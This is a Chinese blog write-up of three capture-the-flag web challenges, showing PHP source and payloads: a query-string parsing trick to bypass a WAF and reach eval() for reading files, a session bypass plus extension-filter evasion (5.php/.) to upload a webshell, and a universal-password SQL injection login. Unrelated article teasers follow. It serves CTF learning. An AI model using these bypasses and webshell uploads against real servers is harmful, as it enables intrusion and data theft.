[RoarCTF 2019]Easy Calc、攻防世界 ics07、[极客大挑战 2019]EasySQL

news/2024/10/20 18:55:59/
[RoarCTF 2019]Easy Calc

进入题目是一个计算器的功能

在这里插入图片描述

检查网页源码发现这样一个重要信息

在这里插入图片描述

这题有WAF计算功能是通过calc.php这里面的代码执行的,我们去访问一下得到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>

这边过滤了很多的东西,并且经过测试发现只能输入数字,那么我们该如何绕过这个隐藏的WAF?补充如下知识点

PHP字符串解析特性绕过WAF输入时发现num只能输入数字,输入字符无法解析。
PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。

根据php这个特性我们构造payload,由于"" 和\ 被过滤那么我们使用asscii码值来绕过

?%20num=var_dump(scandir(chr(47)))

在这里插入图片描述

接下来我们把flag读出来就行

?%20num=var_dump(file_get_contents(chr(47).f1agg))

在这里插入图片描述

ics07

在这里插入图片描述

进入环境发现只有这个能点进去我们继续看

在这里插入图片描述

点击这个源码直接给了我们,源码内容如下

<?phpsession_start();if (!isset($_GET[page])) {show_source(__FILE__);die();}if (isset($_GET[page]) && $_GET[page] != 'index.php') {include('flag.php');}else {header('Location: ?page=flag.php');}
?><?phpif ($_SESSION['admin']) {$con = $_POST['con'];$file = $_POST['file'];$filename = "backup/".$file;if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){die("Bad file extension");}else{chdir('uploaded');$f = fopen($filename, 'w');fwrite($f, $con);fclose($f);}}
?><?phpif (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {include 'config.php';$id = mysql_real_escape_string($_GET[id]);$sql="select * from cetc007.user where id='$id'";$result = mysql_query($sql);$result = mysql_fetch_object($result);} else {$result = False;die();}if(!$result)die("<br >something wae wrong ! <br>");if($result){echo "id: ".$result->id."</br>";echo "name:".$result->user."</br>";$_SESSION['admin'] = True;}
?>

根据第一段代码我们先给page赋个值,然后将flag.php包含进去,payload如下

?page=flag.php

在这里插入图片描述

然后我们来分析第二段代码

<?phpif ($_SESSION['admin']) {$con = $_POST['con'];$file = $_POST['file'];$filename = "backup/".$file;if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){die("Bad file extension");}else{chdir('uploaded');$f = fopen($filename, 'w');fwrite($f, $con);fclose($f);}}
?>

利用点就在上面这串代码中,这里先把文件名拼接到backup目录下,然后正则匹配,这里正则的意思是:匹配最后一个点后面的后缀,然后下面的else里面又更改了当前目录。但是如果要利用这段代码session[‘admin’]必须为true

然后我们看一下第三段代码

<?phpif (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {include 'config.php';$id = mysql_real_escape_string($_GET[id]);$sql="select * from cetc007.user where id='$id'";$result = mysql_query($sql);$result = mysql_fetch_object($result);} else {$result = False;die();}if(!$result)die("<br >something wae wrong ! <br>");if($result){echo "id: ".$result->id."</br>";echo "name:".$result->user."</br>";$_SESSION['admin'] = True;}
?>

通过这段代码发现只需要result有值我们就可以上传文件了,一开始我的思路是通过sql注入完成但是失败了,这时候我们看一下sql查询的条件

if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9')

首先需要传一个id的值并且将id转换为浮点数不全等于1并且最后一位数字是9

这里的绕过方法就比较简单了使用如下payload便可以轻松绕过

?id=1(9

然后通过POST方式写入con和file,一个为文件内容一个为文件路径,又因为有正则匹配的过滤,我们将文件名取名为5.php/.,又因为这是Linux操作系统所以可以解析那么接下来我们上传文件即可

在这里插入图片描述

然后我们访问一下马注意路径为**/uploaded/backup/5.php**

在这里插入图片描述

发现flag

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

[极客大挑战 2019]EasySQL

根据题目提示easysql很容易就想到这题是sql注入漏洞

在这里插入图片描述

进入环境是一个用户登录界面,既然题目提示了是sql注入那我先测试测试万能密码

在这里插入图片描述

成功登录,这边就考察的是sql的万能密码

在这里插入图片描述


http://www.ppmy.cn/news/48371.html

相关文章

10个C++客户端开发的高频面试题,你会几个?

当准备参加C客户端开发面试时&#xff0c;了解常见的面试问题是至关重要的。 本文将介绍一些常见的C客户端开发面试问题及其答案&#xff0c;并提供一些有用的技巧和建议。 1. 智能指针 智能指针是C中一种特殊的指针类型。它允许在程序运行时自动管理资源&#xff0c;避免内存…

PyTorch深度学习实战 | 基于线性回归、决策树和SVM进行鸢尾花分类

鸢尾花数据集是机器学习领域非常经典的一个分类任务数据集。它的英文名称为Iris Data Set&#xff0c;使用sklearn库可以直接下载并导入该数据集。数据集总共包含150行数据&#xff0c;每一行数据由4个特征值及一个标签组成。标签为三种不同类别的鸢尾花&#xff0c;分别为&…

【硬件外设使用】——DAC

【硬件外设使用】——DAC DAC基本概念DAC使用方法pyb.dacmachine.dac DAC可用的传感器 DAC基本概念 DAC是数字模拟转换器&#xff08;Digital to Analog Converter&#xff09;&#xff08;的缩写&#xff0c;是一种将数字信号转换为模拟信号的电路。 它的作用是将数字信息转换…

【高危】vm2 <3.9.16 沙箱逃逸漏洞(CVE-2023-29199)

漏洞描述 vm2 是一个基于 Node.js 的沙箱环境&#xff0c;可以使用列入白名单的 Node 内置模块运行不受信任的代码。 vm2 3.9.16之前版本中&#xff0c;由于transformer.js中transformer函数中异常处理逻辑不够完善&#xff0c;攻击者可通过制造异常绕过handleException()并造…

【JUC】CAS

【JUC】CAS 文章目录 【JUC】CAS1. 概述2. Unsafe类 1. 概述 在Java并发编程中&#xff0c;CAS是一种非阻塞的算法&#xff0c;即Compare and Swap&#xff08;比较并交换&#xff09;。 CAS通过比较内存中某个位置的值和预期值&#xff0c;如果相同&#xff0c;则将该位置的…

单机部署MongoDB

文章目录 一、Windows 环境1.1 安装1.2 启动和连接1.3 Compass 图形化客户端 二、Linux 环境2.1 安装2.2 启动和连接 提示&#xff1a;以下是本篇文章正文内容&#xff0c;MongoDB 系列学习将会持续更新 一、Windows 环境 1.1 安装 ①下载安装包&#xff0c;官方下载地址&am…

【蓝桥杯省赛真题18】python阴影图形面积 青少年组蓝桥杯python编程省赛真题解析

目录 python阴影图形面积 一、题目要求 1、编程实现 2、输入输出

港科夜闻|国务院港澳办主任夏宝龙在香港科大考察期间,表示对学校开展创科工作的鼓励及希望...

关注并星标 每周阅读港科夜闻 建立新视野 开启新思维 1、国务院港澳办主任夏宝龙在香港科大考察期间&#xff0c;表示对学校开展创科工作的鼓励及希望。考察期间&#xff0c;夏宝龙主任参观了香港科大的空气动力学和声学实验中心&#xff0c;以及香港科大先进显示与光电子技术国…